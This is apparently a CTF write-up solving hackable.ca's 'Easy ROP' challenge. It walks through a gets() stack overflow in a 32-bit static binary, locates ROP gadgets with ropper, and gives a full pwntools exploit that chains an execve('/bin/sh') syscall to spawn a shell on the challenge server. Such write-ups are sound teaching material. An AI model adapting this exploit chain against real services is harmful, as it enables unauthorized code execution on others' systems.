In this post we are going to take a look at one of challenges from http://hackable.ca/. It is (not so) Easy ROP challenge. First lets run file on binary they provided:

root@kali:~/ctf/hackable.ca_easyROP# file ropeasy_updated 
ropeasy_updated: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=61d5d8b74151b4dfa900d5e2d66b9c2e0adcfa85, not stripped

We see it is 32bit non-stripped ELF program, since we don’t have source code we can use IDA to get pseudocode (F5 hotkey while in function).

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax@1

  v3 = _x86_get_pc_thunk_ax(&argc);
  puts(&aTryRunningBinS[v3 - 134515245]);
  smashMe();
  return 0;
}

int smashMe()
{
  char v1; // [sp+Ch] [bp-Ch]@1

  printf("\nuser input: ");
  fflush(stdout);
  return gets(&v1);
}

It is really simple executable with obvious overflow in smashMe (gets function). We are also going to check security features enabled on this binary.

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

We see that only NX (Non-executable memory) bit is set. Good thing is that, since PIE is disabled, addresses won’t change which makes our job easier. I am using checksec command from gdb-peda (really helpful extension for gdb), but there is also a standalone script for it. Let’s try running the binary:

root@kali:~/ctf/hackable.ca_easyROP# ./ropeasy_updated

try running /bin/sh

user input: test

Program asks us for input and immediately quits. First, let’s try to find the address of system and /bin/sh.

gdb-peda$ p system
No symbol table is loaded.  Use the "file" command.

It seems that system is not linked in this binary. This makes ROP harder but we can use execve syscall to run /bin/sh. One of the other things we have to do is find the offset of EIP. We can create a pattern in gdb-peda:

gdb-peda$ pattern create 20
'AAA%AAsAABAA$AAnAACA'

When we give this pattern (if it is long enough) to program it will crash with SIGSEGV (segmentation fault). This pattern is non-repeatable so we can tell gdb-peda to look for it in registers after program segfault and determine offsets.

gdb-peda$ pattern search

Easy rop pattern search

We see that EIP offset is at 16 and that we also have EBX at 8. One of the things to note is that gdb can modify stack a bit (because of environment variables) so it is better to run the program and then attach gdb to it then to run it inside gdb.

To get execve syscall we need following arguments:

EAX      0x0b      //identifies execve syscall
EBX      /bin/sh
ECX      0
EDX      0

To find ROP gadgets we need we are going to use ropper. Let's look for int 0x80; ret; first since it is required for syscall.

root@kali:~/ctf/hackable.ca_easyROP# ropper --file ropeasy_updated --search "int 0x80; ret;"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: int 0x80; ret;

[INFO] File: ropeasy_updated
0x08070470: int 0x80; ret;

We are going to repeat this procedure to find other gadgets we need as well.

0x080b94a6: pop eax; ret;
0x0806feaa: pop edx; ret;  
0x0806fed1: pop ecx; pop ebx; ret;

Since we couldn’t find simple pop ecx; ret; we are using closest one we could find. Procedure to find address for /bin/sh is a bit different. All static strings are stored in .rodata section (read-only-data) in ELF binaries. We can find address using:

root@kali:~/ctf/hackable.ca_easyROP# objdump -s -j .rodata ./ropeasy_updated  | grep /bin/sh
 80bc660 6e67202f 62696e2f 7368002e 2e2f6373  ng /bin/sh.../cs

We don’t get exact address so we need to add offset (0x03). So lets combine all of this together:

"AAAA"
"AAAA"  
"AAAA"
"AAAA"
0x080b94a6    # pop eax; ret;
0x0000000b    # argument for execv
0x0806feaa    # pop edx; ret;
0x00000000    # we need 0 in EDX
0x0806fed1    # pop ecx; pop ebx; ret;
0x00000000    # we need 0 in ECX
0x80bc660+0x3 # /bin/sh
0x08070470    # int 80; ret;

We could have also overwritten EBX sooner but, since in gadget for ECX we have pop EBX again, it is not needed. Now let’s write pwntools script implementing this exploit.

from pwn import *

context.arch = 'i386'
context.terminal = 'tmux'

r = remote('pwnable.hackable.ca',  9999)
print r.recvuntil('user input: ')

addr_1 = p32(0x80bc660+0x3)   # /bin/sh
addr_2 = p32(0x08070470)      # int 80; ret;
addr_3 = p32(0x080b94a6)      # pop eax; ret;
addr_4 = p32(0x0806feaa)      # pop edx; ret;
addr_5 = p32(0x0806fed1)      # pop ecx; pop ebx; ret; 

payload = "A"*16 + addr_3 + "\x0b" + "\x00"*3 + addr_4 + "\x00"*4 + addr_5 + "\x00"*4 + addr_1 + addr_2
print payload
r.send(payload)
r.interactive()

And running it, we get the flag :D

Easy rop flag


Making ROP chain involves a lot of tinkering and failing so it is really helpful to inspect core files (from segfaults).

gdb ./ropeasy_updated ./core

After that, we can inspect the register state at the time of crash with i r and stack state with i s.

- F3real